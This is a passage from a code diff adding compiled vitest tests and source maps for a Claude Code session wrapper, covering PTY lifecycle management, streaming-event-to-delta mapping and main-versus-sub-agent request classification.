QACtC,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,GAAG,CAAC,gBAAgB,EAAE,CAAC;QAEhD,QAAQ,CAAC,IAAI,CAAC,CAAC;QACf,MAAM,CAAC,CAAC;IACV,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"pty-lifecycle.test.d.ts","sourceRoot":"","sources":["../../../../src/engines/__tests__/pty-lifecycle.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { PtyLifecycleManager } from "../pty-lifecycle.js";
|
|
3
|
+
function fakeHandle() {
|
|
4
|
+
const h = { killed: false, pid: Math.floor(Math.random() * 9999) };
|
|
5
|
+
h.kill = () => { h.killed = true; };
|
|
6
|
+
return h;
|
|
7
|
+
}
|
|
8
|
+
describe("PtyLifecycleManager", () => {
|
|
9
|
+
it("registers a PTY and reports it as warm", () => {
|
|
10
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 8 });
|
|
11
|
+
const h = fakeHandle();
|
|
12
|
+
m.adopt("sess-1", h);
|
|
13
|
+
expect(m.getWarm("sess-1")).toBe(h);
|
|
14
|
+
});
|
|
15
|
+
it("releaseSession kills the PTY, cleans the handle, and fires onCleanup", () => {
|
|
16
|
+
let cleaned = "";
|
|
17
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 8, onCleanup: (id) => { cleaned = id; } });
|
|
18
|
+
const h = fakeHandle();
|
|
19
|
+
m.adopt("sess-2", h);
|
|
20
|
+
m.releaseSession("sess-2");
|
|
21
|
+
expect(h.killed).toBe(true);
|
|
22
|
+
expect(m.getWarm("sess-2")).toBeUndefined();
|
|
23
|
+
expect(cleaned).toBe("sess-2");
|
|
24
|
+
});
|
|
25
|
+
it("a PTY with no viewer dies within the grace window after turnEnded", () => {
|
|
26
|
+
// No viewer, no turn → grace window starts → reevaluate kills since lastTurnEndedAt is 0… actually
|
|
27
|
+
// lastTurnEndedAt is set on turnEnded, so within the 10-min cap it stays alive.
|
|
28
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 8 });
|
|
29
|
+
const h = fakeHandle();
|
|
30
|
+
m.adopt("sess-3", h);
|
|
31
|
+
m.turnStarted("sess-3");
|
|
32
|
+
m.turnEnded("sess-3");
|
|
33
|
+
expect(h.killed).toBe(false); // still inside CLI_KEEPALIVE_AFTER_LEAVE_MS
|
|
34
|
+
});
|
|
35
|
+
it("a PTY with an active viewer survives turnEnded indefinitely (within the keep-alive cap)", () => {
|
|
36
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 8 });
|
|
37
|
+
const h = fakeHandle();
|
|
38
|
+
m.adopt("sess-4", h);
|
|
39
|
+
m.viewerEnter("sess-4");
|
|
40
|
+
m.turnStarted("sess-4");
|
|
41
|
+
m.turnEnded("sess-4");
|
|
42
|
+
expect(h.killed).toBe(false);
|
|
43
|
+
});
|
|
44
|
+
it("releases the PTY when the last viewer leaves and no turn has ever run", () => {
|
|
45
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 8 });
|
|
46
|
+
const h = fakeHandle();
|
|
47
|
+
m.adopt("sess-5", h);
|
|
48
|
+
m.viewerEnter("sess-5");
|
|
49
|
+
m.viewerLeave("sess-5");
|
|
50
|
+
// viewingEndedAt was just set to now → still inside 10-min grace → alive
|
|
51
|
+
expect(h.killed).toBe(false);
|
|
52
|
+
});
|
|
53
|
+
it("isAtCapacity is true once maxLivePtys is reached", () => {
|
|
54
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 2 });
|
|
55
|
+
m.adopt("a", fakeHandle());
|
|
56
|
+
m.adopt("b", fakeHandle());
|
|
57
|
+
expect(m.isAtCapacity()).toBe(true);
|
|
58
|
+
});
|
|
59
|
+
it("killAll kills every live PTY", () => {
|
|
60
|
+
const m = new PtyLifecycleManager({ maxLivePtys: 8 });
|
|
61
|
+
const a = fakeHandle(), b = fakeHandle();
|
|
62
|
+
m.adopt("a", a);
|
|
63
|
+
m.adopt("b", b);
|
|
64
|
+
m.killAll();
|
|
65
|
+
expect(a.killed).toBe(true);
|
|
66
|
+
expect(b.killed).toBe(true);
|
|
67
|
+
});
|
|
68
|
+
});
|
|
69
|
+
//# sourceMappingURL=pty-lifecycle.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"pty-lifecycle.test.js","sourceRoot":"","sources":["../../../../src/engines/__tests__/pty-lifecycle.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,EAAE,MAAM,QAAQ,CAAC;AAC9C,OAAO,EAAE,mBAAmB,EAAE,MAAM,qBAAqB,CAAC;AAE1D,SAAS,UAAU;IACjB,MAAM,CAAC,GAAQ,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,EAAE,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,IAAI,CAAC,EAAE,CAAC;IACxE,CAAC,CAAC,IAAI,GAAG,GAAG,EAAE,GAAG,CAAC,CAAC,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC;IACpC,OAAO,CAAC,CAAC;AACX,CAAC;AAED,QAAQ,CAAC,qBAAqB,EAAE,GAAG,EAAE;IACnC,EAAE,CAAC,wCAAwC,EAAE,GAAG,EAAE;QAChD,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,CAAC;QACtD,MAAM,CAAC,GAAG,UAAU,EAAE,CAAC;QACvB,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,CAAC,CAAC;QACrB,MAAM,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACtC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,sEAAsE,EAAE,GAAG,EAAE;QAC9E,IAAI,OAAO,GAAG,EAAE,CAAC;QACjB,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,SAAS,EAAE,CAAC,EAAE,EAAE,EAAE,GAAG,OAAO,GAAG,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC;QAC5F,MAAM,CAAC,GAAG,UAAU,EAAE,CAAC;QACvB,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,CAAC,CAAC;QACrB,CAAC,CAAC,cAAc,CAAC,QAAQ,CAAC,CAAC;QAC3B,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC5B,MAAM,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC,aAAa,EAAE,CAAC;QAC5C,MAAM,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;IACjC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mEAAmE,EAAE,GAAG,EAAE;QAC3E,mGAAmG;QACnG,gFAAgF;QAChF,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,CAAC;QACtD,MAAM,CAAC,GAAG,UAAU,EAAE,CAAC;QACvB,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,CAAC,CAAC;QACrB,CAAC,CAAC,WAAW,CAAC,QAAQ,CAAC,CAAC;QACxB,CAAC,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC;QACtB,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,4CAA4C;IAC5E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,yFAAyF,EAAE,GAAG,EAAE;QACjG,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,CAAC;QACtD,MAAM,CAAC,GAAG,UAAU,EAAE,CAAC;QACvB,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,CAAC,CAAC;QACrB,CAAC,CAAC,WAAW,CAAC,QAAQ,CAAC,CAAC;QACxB,CAAC,CAAC,WAAW,CAAC,QAAQ,CAAC,CAAC;QACxB,CAAC,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC;QACtB,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IAC/B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,uEAAuE,EAAE,GAAG,EAAE;QAC/E,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,CAAC;QACtD,MAAM,CAAC,GAAG,UAAU,EAAE,CAAC;QACvB,CAAC,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,CAAC,CAAC;QACrB,CAAC,CAAC,WAAW,CAAC,QAAQ,CAAC,CAAC;QACxB,CAAC,CAAC,WAAW,CAAC,QAAQ,CAAC,CAAC;QACxB,yEAAyE;QACzE,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IAC/B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,kDAAkD,EAAE,GAAG,EAAE;QAC1D,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,CAAC;QACtD,CAAC,CAAC,KAAK,CAAC,GAAG,EAAE,UAAU,EAAE,CAAC,CAAC;QAC3B,CAAC,CAAC,KAAK,CAAC,GAAG,EAAE,UAAU,EAAE,CAAC,CAAC;QAC3B,MAAM,CAAC,CAAC,CAAC,YAAY,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACtC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8BAA8B,EAAE,GAAG,EAAE;QACtC,MAAM,CAAC,GAAG,IAAI,mBAAmB,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,CAAC;QACtD,MAAM,CAAC,GAAG,UAAU,EAAE,EAAE,CAAC,GAAG,UAAU,EAAE,CAAC;QACzC,CAAC,CAAC,KAAK,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC;QAChB,CAAC,CAAC,KAAK,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC;QAChB,CAAC,CAAC,OAAO,EAAE,CAAC;QACZ,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC5B,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC9B,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sse-event-to-deltas.test.d.ts","sourceRoot":"","sources":["../../../../src/engines/__tests__/sse-event-to-deltas.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
import { describe, it, expect, vi } from "vitest";
|
|
2
|
+
// claude-interactive.ts imports node-pty at module load; mock it so this pure
|
|
3
|
+
// unit test stays CI-portable (no native binding needed).
|
|
4
|
+
vi.mock("node-pty", () => ({ spawn: vi.fn() }));
|
|
5
|
+
import { sseEventToDeltas } from "../claude-interactive.js";
|
|
6
|
+
describe("sseEventToDeltas (Item D — SSE → StreamDelta mapping)", () => {
|
|
7
|
+
it("maps message_start.usage to a context delta (input + cache_read + cache_creation)", () => {
|
|
8
|
+
const out = sseEventToDeltas({
|
|
9
|
+
type: "message_start",
|
|
10
|
+
message: { usage: { input_tokens: 600, cache_read_input_tokens: 10, cache_creation_input_tokens: 6 } },
|
|
11
|
+
});
|
|
12
|
+
expect(out).toEqual([{ type: "context", content: "616" }]);
|
|
13
|
+
});
|
|
14
|
+
it("emits no context delta when usage is absent or zero", () => {
|
|
15
|
+
expect(sseEventToDeltas({ type: "message_start", message: {} })).toEqual([]);
|
|
16
|
+
expect(sseEventToDeltas({ type: "message_start", message: { usage: { input_tokens: 0 } } })).toEqual([]);
|
|
17
|
+
});
|
|
18
|
+
it("maps a content_block_start tool_use to a tool_use marker (name + id)", () => {
|
|
19
|
+
const out = sseEventToDeltas({
|
|
20
|
+
type: "content_block_start",
|
|
21
|
+
content_block: { type: "tool_use", name: "Bash", id: "toolu_123" },
|
|
22
|
+
});
|
|
23
|
+
expect(out).toEqual([{ type: "tool_use", content: "Bash", toolName: "Bash", toolId: "toolu_123" }]);
|
|
24
|
+
});
|
|
25
|
+
it("ignores text/thinking content_block_start (their content arrives via deltas)", () => {
|
|
26
|
+
expect(sseEventToDeltas({ type: "content_block_start", content_block: { type: "text" } })).toEqual([]);
|
|
27
|
+
expect(sseEventToDeltas({ type: "content_block_start", content_block: { type: "thinking" } })).toEqual([]);
|
|
28
|
+
});
|
|
29
|
+
it("maps content_block_delta text_delta to an incremental text delta (word-by-word)", () => {
|
|
30
|
+
expect(sseEventToDeltas({ type: "content_block_delta", delta: { type: "text_delta", text: "PO" } }))
|
|
31
|
+
.toEqual([{ type: "text", content: "PO" }]);
|
|
32
|
+
expect(sseEventToDeltas({ type: "content_block_delta", delta: { type: "text_delta", text: "NG" } }))
|
|
33
|
+
.toEqual([{ type: "text", content: "NG" }]);
|
|
34
|
+
});
|
|
35
|
+
it("ignores empty text_delta, input_json_delta and thinking_delta", () => {
|
|
36
|
+
expect(sseEventToDeltas({ type: "content_block_delta", delta: { type: "text_delta", text: "" } })).toEqual([]);
|
|
37
|
+
expect(sseEventToDeltas({ type: "content_block_delta", delta: { type: "input_json_delta", partial_json: "{" } })).toEqual([]);
|
|
38
|
+
expect(sseEventToDeltas({ type: "content_block_delta", delta: { type: "thinking_delta", thinking: "hmm" } })).toEqual([]);
|
|
39
|
+
});
|
|
40
|
+
it("ignores lifecycle-only events (ping, content_block_stop, message_delta, message_stop)", () => {
|
|
41
|
+
for (const type of ["ping", "content_block_stop", "message_delta", "message_stop"]) {
|
|
42
|
+
expect(sseEventToDeltas({ type })).toEqual([]);
|
|
43
|
+
}
|
|
44
|
+
});
|
|
45
|
+
});
|
|
46
|
+
//# sourceMappingURL=sse-event-to-deltas.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sse-event-to-deltas.test.js","sourceRoot":"","sources":["../../../../src/engines/__tests__/sse-event-to-deltas.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sse-pty-proxy-classify.test.d.ts","sourceRoot":"","sources":["../../../../src/engines/__tests__/sse-pty-proxy-classify.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { SsePtyProxy } from "../sse-pty-proxy.js";
|
|
3
|
+
// Locks the main-vs-sub-agent classifier. The live bug: Claude Code fires
|
|
4
|
+
// AUXILIARY requests (haiku topic/title detection, quota checks) through the same
|
|
5
|
+
// per-PTY proxy. Those have no `tools`. If one set the main fingerprint (or simply
|
|
6
|
+
// differed from it), every real turn's request was tagged as a "sub-agent" → a
|
|
7
|
+
// card spawned per message/tool call. The fix gates classification on a non-empty
|
|
8
|
+
// `tools` array.
|
|
9
|
+
/** classifyRequest is private; reach it directly for a focused unit test. */
|
|
10
|
+
function classify(proxy, body) {
|
|
11
|
+
return proxy
|
|
12
|
+
.classifyRequest(Buffer.from(JSON.stringify(body)));
|
|
13
|
+
}
|
|
14
|
+
const TOOLS = [{ name: "Bash", description: "run", input_schema: { type: "object" } }];
|
|
15
|
+
function newProxy() {
|
|
16
|
+
return new SsePtyProxy("test", () => { });
|
|
17
|
+
}
|
|
18
|
+
describe("SsePtyProxy.classifyRequest", () => {
|
|
19
|
+
it("never tags an auxiliary (no-tools) request, even with a novel system", () => {
|
|
20
|
+
const proxy = newProxy();
|
|
21
|
+
const aux = { system: "Detect if this is a new topic.", messages: [{ role: "user", content: "hi" }] };
|
|
22
|
+
expect(classify(proxy, aux)).toEqual({});
|
|
23
|
+
});
|
|
24
|
+
it("an auxiliary request does NOT poison the main fingerprint", () => {
|
|
25
|
+
const proxy = newProxy();
|
|
26
|
+
// Aux lands first (the poisoning scenario) — must be ignored...
|
|
27
|
+
classify(proxy, { system: "topic-detector", messages: [], tools: [] });
|
|
28
|
+
// ...so the first TOOL-BEARING request becomes main (untagged), and the next
|
|
29
|
+
// identical main turn stays main (no spurious card).
|
|
30
|
+
const main = { system: "MAIN", messages: [{ role: "user", content: "do x" }], tools: TOOLS };
|
|
31
|
+
expect(classify(proxy, main)).toEqual({});
|
|
32
|
+
expect(classify(proxy, main)).toEqual({});
|
|
33
|
+
});
|
|
34
|
+
it("tags a tool-bearing request whose system differs from main as a sub-agent", () => {
|
|
35
|
+
const proxy = newProxy();
|
|
36
|
+
classify(proxy, { system: "MAIN", messages: [{ role: "user", content: "main task" }], tools: TOOLS });
|
|
37
|
+
const sub = { system: "SUBAGENT", messages: [{ role: "user", content: "find all bugs" }], tools: TOOLS };
|
|
38
|
+
const ctx = classify(proxy, sub);
|
|
39
|
+
expect(ctx.subAgent).toBeTruthy();
|
|
40
|
+
expect(ctx.subAgent?.label).toBe("find all bugs");
|
|
41
|
+
// Stable id across the sub-agent's turns.
|
|
42
|
+
expect(classify(proxy, sub).subAgent?.id).toBe(ctx.subAgent?.id);
|
|
43
|
+
});
|
|
44
|
+
it("does not tag main-agent tool rounds (stable system) as sub-agents", () => {
|
|
45
|
+
const proxy = newProxy();
|
|
46
|
+
const main = { system: "MAIN", messages: [{ role: "user", content: "x" }], tools: TOOLS };
|
|
47
|
+
classify(proxy, main); // sets main fp
|
|
48
|
+
for (let i = 0; i < 5; i++)
|
|
49
|
+
expect(classify(proxy, main)).toEqual({});
|
|
50
|
+
});
|
|
51
|
+
});
|
|
52
|
+
//# sourceMappingURL=sse-pty-proxy-classify.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sse-pty-proxy-classify.test.js","sourceRoot":"","sources":["../../../../src/engines/__tests__/sse-pty-proxy-classify.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sse-pty-proxy-retry.test.d.ts","sourceRoot":"","sources":["../../../../src/engines/__tests__/sse-pty-proxy-retry.test.ts"],"names":[],"mappings":""}
|